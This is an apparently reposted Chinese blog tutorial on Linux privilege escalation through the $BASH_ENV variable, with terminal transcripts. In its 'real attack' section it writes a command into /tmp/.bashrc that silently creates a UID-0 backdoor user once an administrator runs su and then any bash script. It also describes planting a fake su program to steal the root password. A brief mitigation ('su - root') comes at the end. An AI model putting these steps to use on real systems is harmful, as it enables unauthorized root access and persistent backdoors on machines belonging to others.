linux下$BASH_ENV变量的利用

转载一编提权文章做解释:

一个linux提权用的技巧,放出来攒RP了。
OK,通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本
一个test:
以下是引用片段:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
[xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ cat /tmp/.bashrc
#!/bin/bash
echo "Hello"
[xiaoyu@localdomain ~]$ ls -l
-rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh

[xiaoyu@localdomain ~]$ cat test.sh
#!/bin/bash
echo "kk"
[xiaoyu@localdomain ~]$ ./test.sh
Hello
kk

恩,很好,和我们预期的一样。看看我们怎么利用。

grep su ~/.bash_history
显示此用户有使用su登录root账户的特殊癖好。以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别 名之类的东西。通过getpass来获得root密码,记录,然后去除别名…..关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻 点的管理员可能就放过这个细节了,再输入一遍密码就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改 root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不
以下是引用片段:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ su
Password:
[root@localdomain xiaoyu]# echo $BASH_ENV
/tmp/.bashrc

OK,实验结束,实战:
以下是引用片段:
[xiaoyu@localdomain tmp]$ echo ’/usr/sbin/useradd -u 0 -o kk 2> /dev/null’ > /tmp/.bashrc
[xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
/usr/sbin/useradd -u 0 -o kk 2> /dev/null
[xiaoyu@localdomain tmp]$ grep kk /etc/passwd
[xiaoyu@localdomain tmp]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain tmp]$ su
Password:
[root@localdomain tmp]# cd /home/xiaoyu



解释。
.bash_profile 文件内容

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
unset USERNAME

———————————————————————————————————————————-
———————————————————————————————————————————-
.bashrc文件
# .bashrc

# User specific aliases and functions

alias rm=’rm -i’
alias cp=’cp -i’
alias mv=’mv -i’

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

———————————————————————————————————————————-
———————————————————————————————————————————-
每当执行bash脚本,就会调用。默认是=>bash_profile。它在调用别的脚本。

$BASH_ENV变量定义后,直接掉过常规。
/tmp目录默认谁都可以写的,谁都可以调用。在httpd提权时,可以上传文件到这,可惜没有拿下。

export定义环境变量,启动一个shell后会改变。

只用su进去之后,环境变量没有改变。所以调用BASH时,创建用户。

$:su - root  //可以预防,改变环境变量到root。